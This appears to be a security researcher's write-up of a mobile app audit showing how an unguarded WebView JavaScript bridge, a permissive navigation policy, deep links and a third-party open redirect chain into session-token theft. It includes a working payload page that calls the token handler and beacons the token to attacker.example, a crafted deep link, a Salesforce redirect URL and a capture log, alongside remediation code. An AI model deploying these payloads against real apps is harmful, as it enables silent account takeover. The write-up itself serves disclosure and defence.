A JavaScript bridge with no origin check and a navigation policy with no host allowlist — how two missing lines of code chain into silent account takeover on iOS and Android.
Background: The WebView JavaScript Bridge
Mobile applications often embed a WKWebView (iOS) or WebView (Android) to render hybrid content: onboarding flows, account dashboards, legal documents, charting interfaces. To let that web content call native functionality, many applications install a JavaScript bridge.
The most widely deployed implementation is WebViewJavascriptBridge, an open-source library with ports for both platforms. On load, it injects a JavaScript shim into every page that renders in the host view. That shim exposes window.WebViewJavascriptBridge to all JavaScript on the page — including any attacker-controlled JavaScript that happens to end up there.
Native handlers are registered by name. Any JavaScript in the WebView can invoke any registered handler and receive its return value. The only barriers between the web context and sensitive native functionality are:
- Which URLs the WebView is permitted to navigate to (the navigation policy), and
- Which callers are permitted to invoke each handler (the handler's own origin guard).
In the application we audited, both barriers were absent on the handler that returned the user's authentication token.
The Vulnerability: Two Cooperating Defects
Defect 1 — The credential handler checks no caller origin
The bridge registered two handlers, getGlobalUserAuth and getUserAuth, that retrieved the user's live session token and returned it to the JavaScript caller as {"auth": "<token>"}.
On the iOS build, static analysis of the decrypted ARM64 binary confirmed that no check of webView.url occurred anywhere in the handler's three-frame async continuation chain:
; TY2_ continuation — builds {"auth": "<token>"} and dispatches to JS responseCallback.
; Full review of TY0_, TY1_, TY2_ frames: webView.url read nowhere.
; No host comparison, no allowlist lookup, no origin check of any kind.
mov w8, #0x7561 ; 'a','u'
movk w8, #0x6874, lsl #16 ; 't','h' → key = "auth"
blr x26 ; responseCallback({"auth": <token>}) — no URL guard
On Android, the Kotlin-compiled equivalent confirmed the same absence:
Object result = this.authUseCase.invoke(this);
String json = new JSONObject(Map.of("auth", (String) result)).toString();
this.bridgeAction.sendResponse(json, this.callback); // caller URL never inspected
Any JavaScript in the WebView received the live session token on request.
Defect 2 — The navigation policy
The iOS WKWebView responsible for the bridge was managed by WebFlowViewController. Its decidePolicyFor implementation handled two custom schemes explicitly and let everything else through unconditionally:
; Scheme dispatch:
; "wvjbscheme://" → bridge protocol message
; "app://" → native app-scheme handler, then cancel
;
; All other schemes — including arbitrary https:// — fall through:
mov w0, #0x1 ; WKNavigationActionPolicy.allow = 1
blr x21 ; decisionHandler(.allow) — no host validation
iOS had no host allowlist at all. Any https:// URL loaded into WebFlowViewController was permitted, regardless of origin.
Android took a different approach. The WebView enforced a host allowlist at load time, restricting navigation to the following origins:
| Host | Purpose |
|---|---|
[redacted].com |
First-party trading app |
[redacted].com |
First-party corporate site |
[redacted].com |
First-party staging environment |
salesforce.com |
CRM and partner content |
sumsub.com |
KYC verification provider |
[redacted] |
First-party internal |
The allowlist held. Direct loading of an arbitrary attacker-controlled page would fail — a more indirect approach was needed.
iOS: A Straight Line to the Token
On iOS, getting attacker-controlled JavaScript into the bridge-enabled WebView required only a crafted deep link. The application accepted a custom scheme that opened URLs in WebFlowViewController. The URL handler extracted the url query parameter without validation:
} else if (path.equals("/web")) {
String url = uri.getQueryParameter("url");
return new DeepLinkPath.WebView(url); // url taken verbatim, no validation
}
Because the navigation policy permitted any https:// destination, an attacker could supply their own page directly. The bridge shim is injected at document start — before DOMContentLoaded — so the attacker's JavaScript has access to window.WebViewJavascriptBridge the moment the page loads.
The complete attack requires one tap:
- Attacker hosts a payload page at any HTTPS address they control.
- Victim taps the link. The application opens, loads
attacker.exampleinWebFlowViewController, the navigation policy allows it. - Bridge shim is injected. The attacker's JavaScript calls
getGlobalUserAuth. Token returned. - Token exfiltrated via image beacon. Victim sees nothing.
Attacker sends the victim a crafted deep link — via email, SMS, or any messaging channel:
app://web?url=https://attacker.example/steal.html
<script>
function waitForBridge(cb) {
if (window.WebViewJavascriptBridge) { cb(window.WebViewJavascriptBridge); return; }
document.addEventListener('WebViewJavascriptBridgeReady', function() {
cb(window.WebViewJavascriptBridge);
}, false);
setTimeout(function() {
if (window.WebViewJavascriptBridge) cb(window.WebViewJavascriptBridge);
}, 500);
}
waitForBridge(function(bridge) {
bridge.init(function(msg, cb) {});
bridge.callHandler('getGlobalUserAuth', {}, function(response) {
new Image().src =
'https://attacker.example/collect?t=' + encodeURIComponent(response);
});
});
</script>
No server-side vulnerability on the target application. No XSS. No account. One link tap.
Android: The Allowlist Problem
Android's host allowlist blocked the direct approach. Supplying an arbitrary attacker URL to the deep link handler would fail — the allowlist check at AbstractActivityC0878Kp.java:129-155 would reject the destination before the WebView loaded it. To get the bridge-calling payload into the WebView, an attacker needed one of the following on an allowed domain:
- Cross-site scripting (XSS) — inject script directly into a page on an allowed host
- Open redirect — cause an allowed host to issue a
302to the attacker's page, betting the WebView would follow the redirect without re-checking the allowlist
We investigated both options against every domain in the allowlist.
No XSS or open redirect vulnerabilities were found on any of the application's own domains.
That left the third-party entries. sumsub.com is a KYC provider with a narrow integration surface. salesforce.com was more interesting.
The Salesforce Path
Salesforce appeared in the allowlist because the application used it for CRM and partner content.
Salesforce has had open redirect bugs across multiple surfaces. The retURL parameter on login and logout pages has been reported repeatedly:
https://login.salesforce.com/secur/logout.jsp?retURL=https://attacker.example
The OAuth authorization endpoint accepts a startURL parameter controlling the post-authentication destination. Experience Cloud community sites have had open redirect findings reported through Salesforce's HackerOne programme on multiple occasions. Beyond existing bugs, any Salesforce tenant can create a Visualforce page served from *.my.salesforce.com — a subdomain that passes a salesforce.com suffix-matched allowlist check — that unconditionally redirects to any supplied URL. A free Developer Edition org is sufficient.
However, Salesforce was not in scope for this assessment. Testing against live Salesforce infrastructure — including creating a tenant to host a redirect page — was not authorised. The theoretical path was documented, but not exercised against the real platform.
Simulating the Salesforce redirect
To demonstrate the bypass, we built a local simulation: a Python HTTPS server (redirect_server.py) impersonating login.salesforce.com. Burp Suite's hostname resolution override pointed login.salesforce.com to 127.0.0.1, and a socat forward handled the port.
The server generated a self-signed TLS certificate with CN=login.salesforce.com. This was accepted by the device because the Android build's network_security_config.xml trusted user-installed CA certificates globally in its <base-config> — a separate finding:
<base-config cleartextTrafficPermitted="true">
<trust-anchors>
<certificates src="system" />
<certificates src="user" /> <!-- user CAs trusted globally, not debug-only -->
</trust-anchors>
</base-config>
Had the attack used live Salesforce infrastructure, the TLS certificate would have been issued by a public CA — the user CA trust finding would not have been a prerequisite.
The server's /fakeRedirect path issued a 302 to the steal page — simulating the open redirect a real Salesforce bug or tenant-controlled page would provide.
Delivery
Delivery was via email — a link to https://login.salesforce.com/fakeRedirect. That's a domain the target would recognise from the app's own Salesforce flows. Tapping it opened the lure page, which triggered the application's deep-link scheme. The deep-link router passed the Salesforce URL to the WebView, the allowlist check passed, the server issued the 302, and the WebView followed it to the steal page without re-running the allowlist check.
The complete server output from the Android capture:
❯ sudo python3 redirect_server.py --port 443 --tls
TLS enabled (self-signed, CN=login.salesforce.com)
Listening on 0.0.0.0:443
[2026-09-04T01:41:40+00:00] 127.0.0.1 — "GET /fakeRedirect HTTP/1.1" 302 -
[REDIRECT] Sent 302 → http://login.salesforce.com:443/steal.html
[2026-09-04T01:41:40+00:00] 127.0.0.1 — "GET /steal.html HTTP/1.1" 200 -
============================================================
[CAPTURED] Auth token received from device:
{
"ts": "2026-09-04T01:41:40.732Z",
"data": "{\"auth\":\"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIs...[truncated]\"}"
}
============================================================
The test was repeated against the iOS build using the same server. iOS required no Burp hostname override — its navigation policy permits any https:// destination unconditionally, so the server ran without it. Both captured tokens carried gty: ["refresh_token", "password"] and offline_access — the grants that allow indefinite session persistence after a single capture. Total round-trip from link tap to token receipt: under two seconds on both platforms.
Impact
A stolen session token is a valid credential — accepted by any API endpoint that checks for one. In practice, that means read access to account data: balances, positions, transaction history, identity records. Whether it extends to write operations depends on how the API is designed; many financial platforms require additional confirmation steps that a session token alone won't cover.
What the attacker gets is persistent access. Both tokens captured during testing carried gty: refresh_token — valid until the user explicitly logs out, regardless of expiry. The victim receives no warning and has no indication anything occurred.
The bar to reach this point is low: no account, no device access, no server-side vulnerability on any application domain. One link tap.
Remediation
The primary fix is to remove getGlobalUserAuth and getUserAuth entirely. Session tokens have no business passing through the JavaScript context. If WebView pages need to make authenticated API calls, the native layer should proxy them: JavaScript sends an intent to native, native makes the call, and returns only the data the page needs — never the raw token.
If removal isn't immediately feasible, add an origin guard at the entry point of every credential-returning handler, before any token is retrieved:
func handleGetUserAuth(data: Any?, responseCallback: @escaping WVJBResponseCallback) {
let trustedHosts: Set<String> = ["app.example.com", "trade.example.com"]
guard let host = webView?.url?.host, trustedHosts.contains(host) else {
responseCallback(["error": "unauthorised caller"])
return
}
authUseCase.getToken { token in
responseCallback(["auth": token])
}
}
val trustedHosts = setOf("app.example.com", "trade.example.com")
val currentHost = webView.url?.let { Uri.parse(it).host }
if (currentHost == null || currentHost !in trustedHosts) {
callback.send(JSONObject(mapOf("error" to "unauthorised caller")).toString())
return
}
authUseCase.getToken { token ->
callback.send(JSONObject(mapOf("auth" to token)).toString())
}
The redirect bypass works because the allowlist is only checked at initial load — a 302 to an off-list destination goes through unchallenged. Override shouldOverrideUrlLoading (Android) and decidePolicyFor (iOS) to re-run the allowlist check on every navigation, not just the first.
The deep-link handler has the same gap. The url parameter should be validated against the allowlist before anything is passed to the WebView:
val trustedHosts = setOf("app.example.com", "trade.example.com")
val rawUrl = uri.getQueryParameter("url") ?: return null
val parsedHost = Uri.parse(rawUrl).host
if (parsedHost == null || parsedHost !in trustedHosts) return null
return DeepLinkPath.WebView(rawUrl)
Finally, remove <certificates src="user" /> from <base-config> in the network security config. User CA trust belongs in <debug-overrides> only.
Takeaways
Third-party domains in a WebView allowlist are not equivalent to first-party domains. salesforce.com carries a large, historically redirect-prone attack surface, and any Salesforce tenant can host a redirect page on *.my.salesforce.com by design. An allowlist entry is only as strong as the weakest redirect on that domain.
And across both platforms, the root cause was the same: session tokens passed to the JavaScript context with no restriction on which pages could request them. Remove the handlers. A stronger allowlist still leaks tokens to any page that slips through.